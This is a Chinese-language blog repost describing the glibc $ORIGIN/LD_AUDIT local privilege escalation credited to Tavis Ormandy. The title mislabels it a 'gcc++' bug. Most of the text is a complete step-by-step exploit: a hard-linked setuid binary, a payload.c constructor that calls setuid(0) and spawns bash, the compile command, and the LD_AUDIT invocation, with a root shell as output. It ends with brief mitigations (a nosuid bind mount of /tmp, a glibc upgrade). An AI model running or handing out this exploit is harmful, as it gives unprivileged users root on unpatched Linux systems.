码迷,mamicode.com
首页 > 编程语言 > 详细

linux gcc++漏洞:普通用户获得root权限

时间:2014-07-21 08:12:21      阅读:267      评论:0      收藏:0      [点我收藏+]

标签:style   blog   http   color   strong   os   

linux gcc++漏洞:普通用户获得root权限  

2012-02-06 10:22:38|  分类: linux安全|举报|字号 订阅

 
 

 

经我测试在RHEL5 / CentOS5 / FC13都成功了。

首先介绍下一下具体步骤中涉及到的2个频繁的出现的词语:

taviso:作者 Tavis Ormandy 的简称,Google信息安全工程师 个人微博:http://my.opera.com/taviso/blog/ http://twitter.com/taviso

 

exploit:自己创建的目录,表意漏洞利用,可以取任何名字。

原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path 详见作者博客

mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3/tmp/exploit/target
ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*

rm -rf /tmp/exploit/

ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)

cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D
gcc -w -fPIC -shared -o /tmp/exploit payload.c
ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(rootgid=500(taviso)

看到了吧!是不是很恐怖。以下有2种解决办法:

1,绑定目录

需要理解一下nosuid的原理:

我的理解是:比如/etc/passwd这个文件,本来只有root有权限修改,但是用户本身也可以去修改自己的密码,这就是一种“超出它本身权限的行为”,

nosuid就是为了停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它控制。

 mount -o bind /tmp /tmp
 mount -o remount,bind,nosuid /tmp /tmp

2,升级glibc版本(红帽官方提供的解决办法)

linux gcc++漏洞:普通用户获得root权限,布布扣,bubuko.com

linux gcc++漏洞:普通用户获得root权限

标签:style   blog   http   color   strong   os   

原文地址:http://www.cnblogs.com/woxing/p/3857420.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!